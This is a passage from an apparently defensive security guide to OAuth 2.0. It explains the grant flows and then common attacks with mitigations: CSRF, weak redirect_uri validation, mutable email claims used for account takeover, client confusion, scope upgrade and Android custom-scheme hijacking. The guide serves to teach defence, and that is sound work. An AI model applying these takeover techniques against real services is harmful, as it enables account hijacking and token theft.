&lt;p&gt;The Authorization Code Flow is one of the most widely used OAuth flows in web applications. Unlike the Implicit Flow, which requests the Access Token directly to the Authorization Server, the Authorization Code Flow introduces an intermediary step. In this process, the User Agent first retrieves an Authorization Code, which the application then exchanges, along with the Client Credentials, for an Access Token. This additional step ensures that only the Client Application has access to the Access Token, preventing the User Agent from ever seeing it.&lt;/p&gt;

&lt;p&gt;This flow is suitable exclusively for confidential applications, such as Regular Web Applications, because the application Client Credentials are included in the code exchange request and they must be kept securely stored by the Client Application.&lt;/p&gt;

&lt;p&gt;
&lt;center&gt;&lt;img src=&quot;../../../public/images/oauth-authorization-code-flow.png&quot; alt=&quot;OAuth Authorization Code Flow&quot; align=&quot;center&quot; style=&quot;display: block; margin-left: auto; margin-right: auto;max-width: 550px;&quot; /&gt;&lt;/center&gt;
&lt;/p&gt;

&lt;h3 id=&quot;references-2&quot;&gt;References&lt;/h3&gt;
&lt;ul&gt;
  &lt;li&gt;&lt;a href=&quot;https://datatracker.ietf.org/doc/html/rfc6749#section-1.3.1&quot;&gt;https://datatracker.ietf.org/doc/html/rfc6749#section-1.3.1&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://datatracker.ietf.org/doc/html/rfc6749#section-4.1&quot;&gt;https://datatracker.ietf.org/doc/html/rfc6749#section-4.1&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://cloudentity.com/developers/basics/oauth-grant-types/authorization-code-flow/&quot;&gt;https://cloudentity.com/developers/basics/oauth-grant-types/authorization-code-flow/&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id=&quot;authorization-code-flow-with-pkce&quot;&gt;Authorization Code Flow with PKCE&lt;/h2&gt;

&lt;p&gt;OAuth 2.0 provides a version of the Authorization Code Flow which makes use of a Proof Key for Code Exchange (PKCE). This OAuth flow was originally designed for applications that cannot store a Client Secret, such as native or single-page apps but it has become the main recommendation in the &lt;a href=&quot;https://datatracker.ietf.org/doc/html/draft-ietf-oauth-v2-1-01&quot;&gt;OAuth 2.1 specification&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;Two new parameters are added to the default Authorization Code Flow, a random generated value called &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;code_verifier&lt;/code&gt; and its transformed version, the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;code_challenge&lt;/code&gt;.&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;First, the Client creates and records a secret &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;code_verifier&lt;/code&gt; and derives a transformed version &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;t(code_verifier)&lt;/code&gt;, referred to as the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;code_challenge&lt;/code&gt;, which is sent in the Authorization Request along with the transformation method &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;t_m&lt;/code&gt; used.&lt;/li&gt;
  &lt;li&gt;The Client then sends the Authorization Code in the Access Token Request with the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;code_verifier&lt;/code&gt; secret.&lt;/li&gt;
  &lt;li&gt;Finally, the Authorization Server transforms &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;code_verifier&lt;/code&gt; and compares it to &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;t(code_verifier)&lt;/code&gt;&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;The available transformation methods (&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;t_m&lt;/code&gt;) are the following:&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;plain
&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;code_challenge = code_verifier&lt;/code&gt;&lt;/li&gt;
  &lt;li&gt;S256
&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;code_challenge = BASE64URL-ENCODE(SHA256(ASCII(code_verifier)))&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Note that using the default Authorization Code flow with a custom &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;redirect_uri&lt;/code&gt; scheme like &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;example.app://&lt;/code&gt; can allow a malicious app to register itself as a handler for this custom scheme alongside the legitimate OAuth 2.0 app. If this happens, the malicious app can intercept the authorization code and exchange it for an Access Token. For more details, refer to OAuth Redirect Scheme Hijacking.&lt;/p&gt;

&lt;p&gt;With PKCE, the interception of the Authorization Response will not allow the previous attack scenario since attackers would only be able to access the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;authorization_code&lt;/code&gt; but it won’t be possible for them to get the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;code_verifier&lt;/code&gt; value required in the Access Token Request.&lt;/p&gt;

&lt;p&gt;The diagram below illustrates the Authorization Code flow with PKCE:&lt;/p&gt;

&lt;p&gt;
&lt;center&gt;&lt;img src=&quot;../../../public/images/oauth-authorization-code-pkce-flow.png&quot; alt=&quot;OAuth Authorization Code Flow with PKCE&quot; align=&quot;center&quot; style=&quot;display: block; margin-left: auto; margin-right: auto;max-width: 550px;&quot; /&gt;&lt;/center&gt;
&lt;/p&gt;

&lt;h3 id=&quot;references-3&quot;&gt;References&lt;/h3&gt;
&lt;ul&gt;
  &lt;li&gt;&lt;a href=&quot;https://datatracker.ietf.org/doc/html/rfc7636&quot;&gt;https://datatracker.ietf.org/doc/html/rfc7636&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id=&quot;client-credentials-flow&quot;&gt;Client Credentials Flow&lt;/h2&gt;

&lt;p&gt;The Client Credentials Flow is designed for Machine-to-Machine (M2M) applications, such as daemons or backend services. It is useful when the Client is also the Resource Owner, eliminating the need for User Agent authentication. This flow allows the Client to directly retrieve an Access Token by providing the Client Credentials.&lt;/p&gt;

&lt;p&gt;The diagram below illustrates the Client Credentials Flow:&lt;/p&gt;

&lt;p&gt;
&lt;center&gt;&lt;img src=&quot;../../../public/images/oauth-client-credentials-flow.png&quot; alt=&quot;OAuth Client Credentials Flow&quot; align=&quot;center&quot; style=&quot;display: block; margin-left: auto; margin-right: auto;max-width: 550px;&quot; /&gt;&lt;/center&gt;
&lt;/p&gt;

&lt;h3 id=&quot;references-4&quot;&gt;References&lt;/h3&gt;
&lt;ul&gt;
  &lt;li&gt;&lt;a href=&quot;https://datatracker.ietf.org/doc/html/rfc6749#section-1.3.4&quot;&gt;https://datatracker.ietf.org/doc/html/rfc6749#section-1.3.4&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://datatracker.ietf.org/doc/html/rfc6749#section-4.4&quot;&gt;https://datatracker.ietf.org/doc/html/rfc6749#section-4.4&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id=&quot;device-authorization-flow&quot;&gt;Device Authorization Flow&lt;/h2&gt;

&lt;p&gt;The Device Authorization Flow is designed for Internet-connected devices that either lack a browser for user-agent-based authorization or are too input-constrained to make text-based authentication practical during the authorization flow.&lt;/p&gt;

&lt;p&gt;This flow allows OAuth Clients on devices such as smart TVs, media consoles, digital picture frames or printer to obtain user authorization to access protected resources using a User Agent on a separate device.&lt;/p&gt;

&lt;p&gt;In this flow, first the Client application retrieves a User Code and Verification URL from the Authorization Server. Then, it instructs the User Agent to Authenticate and Consent with a different device using the provided User Code and Verification URL.&lt;/p&gt;

&lt;p&gt;The following image illustrates the Device Authorization Code Flow:&lt;/p&gt;

&lt;p&gt;
&lt;center&gt;&lt;img src=&quot;../../../public/images/oauth-device-authorization-flow.png&quot; alt=&quot;OAuth Device Authorization Flow&quot; align=&quot;center&quot; style=&quot;display: block; margin-left: auto; margin-right: auto;max-width: 550px;&quot; /&gt;&lt;/center&gt;
&lt;/p&gt;

&lt;h3 id=&quot;references-5&quot;&gt;References&lt;/h3&gt;
&lt;ul&gt;
  &lt;li&gt;&lt;a href=&quot;https://datatracker.ietf.org/doc/html/rfc8628&quot;&gt;https://datatracker.ietf.org/doc/html/rfc8628&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://auth0.com/docs/get-started/authentication-and-authorization-flow/device-authorization-flow&quot;&gt;https://auth0.com/docs/get-started/authentication-and-authorization-flow/device-authorization-flow&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id=&quot;resource-owner-password-credentials-flow&quot;&gt;Resource Owner Password Credentials Flow&lt;/h2&gt;

&lt;p&gt;This flow requires the Resource Owner to fully trust the Client with their credentials to the Authorization Server. It was designed for use-cases when redirect-based flows cannot be used, although, it has been removed in the recent &lt;a href=&quot;https://datatracker.ietf.org/doc/html/draft-ietf-oauth-v2-1-01#name-differences-from-oauth-20&quot;&gt;OAuth 2.1 RFC&lt;/a&gt; specification and its use is not recommended.&lt;/p&gt;

&lt;p&gt;Instead of redirecting the Resource Owner to the Authorization Server, the user credentials are sent to the Client application, which then forwards them to the Authorization Server.&lt;/p&gt;

&lt;p&gt;The following image illustrates the Resource Owner Password Credentials Flow:&lt;/p&gt;

&lt;p&gt;
&lt;center&gt;&lt;img src=&quot;../../../public/images/oauth-resource-owner-flow.png&quot; alt=&quot;OAuth Resource Owner Password Credentials Flow&quot; align=&quot;center&quot; style=&quot;display: block; margin-left: auto; margin-right: auto;max-width: 550px;&quot; /&gt;&lt;/center&gt;
&lt;/p&gt;

&lt;h3 id=&quot;references-6&quot;&gt;References&lt;/h3&gt;
&lt;ul&gt;
  &lt;li&gt;&lt;a href=&quot;https://datatracker.ietf.org/doc/html/rfc6749#section-4.3&quot;&gt;https://datatracker.ietf.org/doc/html/rfc6749#section-4.3&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://datatracker.ietf.org/doc/html/draft-ietf-oauth-v2-1-01#name-differences-from-oauth-20&quot;&gt;https://datatracker.ietf.org/doc/html/draft-ietf-oauth-v2-1-01#name-differences-from-oauth-20&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h1 id=&quot;attacks&quot;&gt;Attacks&lt;/h1&gt;

&lt;p&gt;In this section we’ll present common attacks against OAuth with basic remediation strategies.&lt;/p&gt;

&lt;h2 id=&quot;csrf&quot;&gt;CSRF&lt;/h2&gt;

&lt;p&gt;OAuth CSRF is an attack against OAuth flows, where the browser consuming the authorization code is different than the one that has initiated the flow. It can be used by an attacker to coerce the victim to consume their Authorization Code, causing the victim to connect with attacker’s authorization context.&lt;/p&gt;

&lt;p&gt;Consider the following diagram:&lt;/p&gt;

&lt;p&gt;
&lt;center&gt;&lt;img src=&quot;../../../public/images/oauth-csrf-attack.svg&quot; alt=&quot;OAuth CSRF Attack&quot; align=&quot;center&quot; style=&quot;display: block; margin-left: auto; margin-right: auto;max-width: 550px;&quot; /&gt;&lt;/center&gt;
&lt;/p&gt;

&lt;p&gt;Depending on the context of the application, the impact can vary from low to high. In either case it is vital to ensure that user has the control of which authorization context they operate in and cannot be coerced into another one.&lt;/p&gt;

&lt;h3 id=&quot;mitigation&quot;&gt;Mitigation&lt;/h3&gt;
&lt;p&gt;OAuth specification recommends to utilize the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;state&lt;/code&gt; parameter to prevent CSRF attacks.&lt;/p&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;[state is] an opaque value used by the client to maintain state between the request and callback. The authorization server includes this value when redirecting the user-agent back to the client. The parameter SHOULD be used for preventing cross-site request forgery (CSRF).
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;The following scheme illustrates how the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;state&lt;/code&gt; parameter can prevents the attack:&lt;/p&gt;

&lt;p&gt;
&lt;center&gt;&lt;img src=&quot;../../../public/images/oauth-csrf-prevention.svg&quot; alt=&quot;OAuth CSRF Prevention&quot; align=&quot;center&quot; style=&quot;display: block; margin-left: auto; margin-right: auto;max-width: 550px;&quot; /&gt;&lt;/center&gt;
&lt;/p&gt;

&lt;h3 id=&quot;references-7&quot;&gt;References&lt;/h3&gt;
&lt;ul&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.amazon.com/OAuth-2-Action-Justin-Richer/dp/161729327X&quot;&gt;Justin Richer, Antonio Sanso, (2017), &lt;em&gt;OAuth 2 In Action&lt;/em&gt;&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id=&quot;redirect-attacks&quot;&gt;Redirect Attacks&lt;/h2&gt;
&lt;p&gt;Well implemented Authorization Servers validate the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;redirect_uri&lt;/code&gt; parameter before redirecting the User Agent back to the Client. The allowlist of &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;redirect_uri&lt;/code&gt; values should be configured per-client. Such design ensures that the User Agent can only be redirected to the Client and the Authorization Code will be only disclosed to the given Client. Conversely, if the Authorization Server neglects or misimplements this verification, a malicious actor can manipulate a victim to complete a flow that will disclose their Authorization Code to an untrusted party.&lt;/p&gt;

&lt;p&gt;In the simplest form, when &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;redirect_uri&lt;/code&gt; validation is missing altogether, exploitation can be illustrated with the following flow:&lt;/p&gt;

&lt;p&gt;
&lt;center&gt;&lt;img src=&quot;../../../public/images/oauth-redirect-attack.svg&quot; alt=&quot;OAuth Redirect Attack&quot; align=&quot;center&quot; style=&quot;display: block; margin-left: auto; margin-right: auto;max-width: 550px;&quot; /&gt;&lt;/center&gt;
&lt;/p&gt;

&lt;p&gt;This vulnerability can also emerge when validation is inadequately implemented. The only proper way is validation by comparing the &lt;strong&gt;exact&lt;/strong&gt; &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;redirect_uri&lt;/code&gt; including both the origin (scheme, hostname, port) and the path.&lt;/p&gt;

&lt;p&gt;Common mistakes include:&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;validating only origin/domain&lt;/li&gt;
  &lt;li&gt;allowing subdomains&lt;/li&gt;
  &lt;li&gt;allowing subpaths&lt;/li&gt;
  &lt;li&gt;allowing wildcards&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;If the given origin includes a URL with an open redirect vulnerability, or pages with user-controlled content, they can abused to steal the code through the Referer header, or through the open redirect.&lt;/p&gt;

&lt;p&gt;On the other hand, the following overlooks:&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;partial path matching&lt;/li&gt;
  &lt;li&gt;misusing regular expressions to match URIs&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;may lead to various bypasses by crafting a malicious URLs, that will lead to an untrusted origins.&lt;/p&gt;

&lt;h3 id=&quot;references-8&quot;&gt;References&lt;/h3&gt;
&lt;ul&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.amazon.com/OAuth-2-Action-Justin-Richer/dp/161729327X&quot;&gt;Justin Richer, Antonio Sanso, (2017), &lt;em&gt;OAuth 2 In Action&lt;/em&gt;&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id=&quot;mutable-claims-attack&quot;&gt;Mutable Claims Attack&lt;/h2&gt;

&lt;p&gt;According to the OAuth specification, users are uniquely identified by the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;sub&lt;/code&gt; field. However there is no standard format of this field. As a result, many different formats are used, depending on the Authorization Server. Some of the Client applications, in an effort to craft a uniform way of identifying users across multiple Authorization Servers, fall back to user handles, or emails. However this approach may be dangerous, depending on the Authorization Server used. Some of the Authorization Servers do not guarantee immutability for such user properties. Even worse so, in some cases these properties can be arbitrarily changed by the users themselves. In such cases account takeovers might be possible.&lt;/p&gt;

&lt;p&gt;One of such cases emerges, when the feature “Login with Microsoft” is implemented to use the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;email&lt;/code&gt; field to identify users.. In such cases, an attacker might create their own AD organization (&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;doyensectestorg&lt;/code&gt; in this case) on Azure, which can be used then to to perform “Login with Microsoft”.  While the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Object ID&lt;/code&gt; field, which is placed in &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;sub&lt;/code&gt;, is immutable for a given user and cannot be spoofed, the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;email&lt;/code&gt; field is purely user-controlled and does not require any verification.&lt;/p&gt;

&lt;p&gt;
&lt;center&gt;&lt;img src=&quot;../../../public/images/oauth-claim-takeover.png&quot; alt=&quot;OAuth Claim Takeover&quot; align=&quot;center&quot; style=&quot;display: block; margin-left: auto; margin-right: auto;max-width: 550px;&quot; /&gt;&lt;/center&gt;
&lt;/p&gt;

&lt;p&gt;In the screenshot above, there’s an example user created, that could be used to take over an account &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;victim@gmail.com&lt;/code&gt; in the Client, which  uses the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;email&lt;/code&gt; field for user identification.&lt;/p&gt;

&lt;h3 id=&quot;references-9&quot;&gt;References&lt;/h3&gt;
&lt;ul&gt;
  &lt;li&gt;&lt;a href=&quot;https://learn.microsoft.com/en-us/entra/identity-platform/claims-validation#validate-the-subject&quot;&gt;https://learn.microsoft.com/en-us/entra/identity-platform/claims-validation#validate-the-subject&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.descope.com/blog/post/noauth&quot;&gt;https://www.descope.com/blog/post/noauth&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id=&quot;client-confusion-attack&quot;&gt;Client Confusion Attack&lt;/h2&gt;
&lt;p&gt;When applications implement OAuth Implicit Flow for authentication they should verify that the final provided token was generated for that specific Client ID. If this check is not performed, it would be possible for an attacker to use an Access Token that had been generated for a different Client ID.&lt;/p&gt;

&lt;p&gt;Imagine the attacker creates a public website which allows users to log in with Google’s OAuth Implicit flow. Assuming thousands of people connect to the hosted website, the attacker would then have access to their Google’s OAuth Access Tokens generated for the attacker website.&lt;/p&gt;

&lt;p&gt;If any of these users already had an account on a vulnerable website that does not verify the Access Token, the attacker would be able to provide the victim’s Access Token generated for a different Client ID and will be able to take over the account of the victim.&lt;/p&gt;

&lt;p&gt;A secure OAuth Implicit Flow implemented for authentication would be as follows:&lt;/p&gt;

&lt;p&gt;
&lt;center&gt;&lt;img src=&quot;../../../public/images/oauth-implicit-secure.svg&quot; alt=&quot;OAuth Secure Implicit Flow&quot; align=&quot;center&quot; style=&quot;display: block; margin-left: auto; margin-right: auto;max-width: 550px;&quot; /&gt;&lt;/center&gt;
&lt;/p&gt;

&lt;p&gt;If steps 8 to 10 are not performed and the token’s Client ID is not validated, it would be possible to perform the following attack:&lt;/p&gt;

&lt;p&gt;
&lt;center&gt;&lt;img src=&quot;../../../public/images/oauth-client-confusion.svg&quot; alt=&quot;OAuth Client Confusion Attack&quot; align=&quot;center&quot; style=&quot;display: block; margin-left: auto; margin-right: auto;max-width: 550px;&quot; /&gt;&lt;/center&gt;
&lt;/p&gt;

&lt;h3 id=&quot;remediation&quot;&gt;Remediation&lt;/h3&gt;

&lt;p&gt;It is worth noting, that even if the Client uses a more secure flow (e.g. Explicit Flow), it might accept Access Tokens - effectively allowing a downgrade to the Implicit Flow. Additionally, if the application uses the Access Tokens as session cookies or authorization headers it might be vulnerable. In practice, &lt;strong&gt;ensuring that the Access Tokens are never accepted from user-controlled parameters&lt;/strong&gt; breaks the exploitation chain early. On top of that we recommend performing token verification as described above in steps 8 to 10.&lt;/p&gt;

&lt;h3 id=&quot;references-10&quot;&gt;References&lt;/h3&gt;
&lt;ul&gt;
  &lt;li&gt;&lt;a href=&quot;https://salt.security/blog/oh-auth-abusing-oauth-to-take-over-millions-of-accounts&quot;&gt;https://salt.security/blog/oh-auth-abusing-oauth-to-take-over-millions-of-accounts&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id=&quot;scope-upgrade-attack&quot;&gt;Scope Upgrade Attack&lt;/h2&gt;

&lt;p&gt;With the Authorization Code Grant type, the user’s data is requested and sent via secure server-to-server communication.&lt;/p&gt;

&lt;p&gt;If the Authorization Server accepts and implicitly trusts a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;scope&lt;/code&gt; parameter sent in the Access Token Request (Note this parameter is not specified in the RFC for the Access Token Request in the Authorization Code Flow), a malicious application could try to upgrade the scope of Authorization Codes retrieved from user callbacks by sending a higher privileged scope in the Access Token Request.&lt;/p&gt;

&lt;p&gt;Once the Access Token is generated, the Resource Server must verify the Access Token for every request. This verification depends on the Access Token format, the commonly used ones are the following:&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;&lt;strong&gt;JWT Access Token&lt;/strong&gt;: With this kind of access token, the Resource Server only needs to check the JWT signature and then retrieve the data included in the JWT (&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;client_id&lt;/code&gt;, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;scope&lt;/code&gt;, etc.)&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Random String Access Token&lt;/strong&gt;: Since this kind of token does not include any additional information in them, the Resource Server needs to retrieve the token information from the Authorization Server.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;
&lt;center&gt;&lt;img src=&quot;../../../public/images/oauth-scope-upgrade.svg&quot; alt=&quot;OAuth Scope Upgrade&quot; align=&quot;center&quot; style=&quot;display: block; margin-left: auto; margin-right: auto;max-width: 550px;&quot; /&gt;&lt;/center&gt;
&lt;/p&gt;

&lt;h3 id=&quot;mitigation-1&quot;&gt;Mitigation&lt;/h3&gt;

&lt;p&gt;Following the RFC guidelines, the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;scope&lt;/code&gt; parameter should not be sent in the &lt;a href=&quot;https://datatracker.ietf.org/doc/html/rfc6749#section-4.1.3&quot;&gt;Access Token Request&lt;/a&gt; in the Authorization Code flow, although it can be specified in other flows such as the &lt;a href=&quot;https://datatracker.ietf.org/doc/html/rfc6749#section-3.3&quot;&gt;Resource Owner Password Credentials Grant&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;The Authorization Server should either ignore the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;scope&lt;/code&gt; parameter or verify it matches the previous &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;scope&lt;/code&gt; provided in the Authorization Request.&lt;/p&gt;

&lt;h3 id=&quot;references-11&quot;&gt;References&lt;/h3&gt;
&lt;ul&gt;
  &lt;li&gt;&lt;a href=&quot;https://datatracker.ietf.org/doc/html/rfc6749#section-3.3&quot;&gt;https://datatracker.ietf.org/doc/html/rfc6749#section-3.3&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id=&quot;redirect-scheme-hijacking&quot;&gt;Redirect Scheme Hijacking&lt;/h2&gt;

&lt;p&gt;When  the need to use OAuth on mobile arises, the mobile application takes the role of OAuth User Agents. In order for them to be able to receive the redirect with Authorization Code developers often rely on the mechanism of custom schemes. However, multiple applications can register given scheme on a given device. This breaks OAuth’s assumption that the Client is the only one to control the configured &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;redirect_uri&lt;/code&gt; and may lead to Authorization Code takeover in case a malicious app is installed in victim’s devices.&lt;/p&gt;

&lt;p&gt;Android Intent URIs have the following structure:&lt;/p&gt;

&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;&amp;lt;scheme&amp;gt;://&amp;lt;host&amp;gt;:&amp;lt;port&amp;gt;[&amp;lt;path&amp;gt;|&amp;lt;pathPrefix&amp;gt;|&amp;lt;pathPattern&amp;gt;|&amp;lt;pathAdvancedPattern&amp;gt;|&amp;lt;pathSuffix&amp;gt;]&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;So for instance the following URI &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;com.example.app://oauth&lt;/code&gt; depicts an Intent with &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;scheme=com.example.app&lt;/code&gt; and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;host=oauth&lt;/code&gt;. In order to receive these Intents an Android application would need to export an Activity similar to the following:&lt;/p&gt;

&lt;div class=&quot;language-java highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;    &lt;span class=&quot;o&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;intent&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;filter&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt;
        &lt;span class=&quot;o&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;action&lt;/span&gt; &lt;span class=&quot;nl&quot;&gt;android:&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;name&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;android.intent.action.VIEW&quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;/&amp;gt;&lt;/span&gt;
        &lt;span class=&quot;o&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;category&lt;/span&gt; &lt;span class=&quot;nl&quot;&gt;android:&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;name&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;android.intent.category.DEFAULT&quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;/&amp;gt;&lt;/span&gt;
        &lt;span class=&quot;o&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;category&lt;/span&gt; &lt;span class=&quot;nl&quot;&gt;android:&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;name&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;android.intent.category.BROWSABLE&quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;/&amp;gt;&lt;/span&gt;
        &lt;span class=&quot;o&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;data&lt;/span&gt; &lt;span class=&quot;nl&quot;&gt;android:&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;host&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;oauth&quot;&lt;/span&gt; &lt;span class=&quot;nl&quot;&gt;android:&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;scheme&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;=com.example.app&quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;/&amp;gt;&lt;/span&gt;
    &lt;span class=&quot;o&quot;&gt;&amp;lt;/&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;intent&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;filter&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Android system is pretty lenient when it comes to defining Intent Filters. The less filter details, the wider net and more potential URIs caught. So for instance if only &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;scheme&lt;/code&gt; is provided, all Intents for this scheme will be caught, regardless of there &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;host&lt;/code&gt;, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;path&lt;/code&gt;, etc.&lt;/p&gt;

&lt;p&gt;If there are more than one applications that can potentially catch given Intent, they system will let the user decide which to use, which means a redirect takeover would require user interaction. However with the above knowledge it is possible to try and create bypasses, depending on how the legitimate application’s filter has been created. Paradoxically, the more specific original developers were, the easier it is to craft a bypass and take over the redirect without user interaction. In detail, &lt;a href=&quot;https://ostorlab.co/&quot;&gt;Ostorlab&lt;/a&gt; has created the following flowchart to quickly assess whether it is possible:&lt;/p&gt;

&lt;p&gt;
&lt;center&gt;&lt;img src=&quot;../../../public/images/oauth-scheme-hijacking.svg&quot; alt=&quot;OAuth Scheme Hijacking&quot; align=&quot;center&quot; style=&quot;display: block; margin-left: auto; margin-right: auto;max-width: 550px;&quot; /&gt;&lt;/center&gt;
&lt;/p&gt;

&lt;h3 id=&quot;recommendation&quot;&gt;Recommendation&lt;/h3&gt;

&lt;p&gt;For situations where the Explicit Authorization Code Flow is not viable, because the Client cannot be trusted to securely store the Client Secret, Authorization Code Flow with Proof Key for Code Exchange (PKCE) has been created. We recommend utilizing this flow for authorizing mobile applications.&lt;/p&gt;

&lt;p&gt;Additionally, to restore the trust relation between the Authorization Server and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;redirect_uri&lt;/code&gt; target, it is recommended to use Android’s Verifiable Links and iOS’s Associated Domains mechanisms.&lt;/p&gt;

&lt;p&gt;In short, Android’s announced &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;autoVerify&lt;/code&gt; property for Intent Filters. In detail, developers can create an Intent Filter similar to the following:&lt;/p&gt;

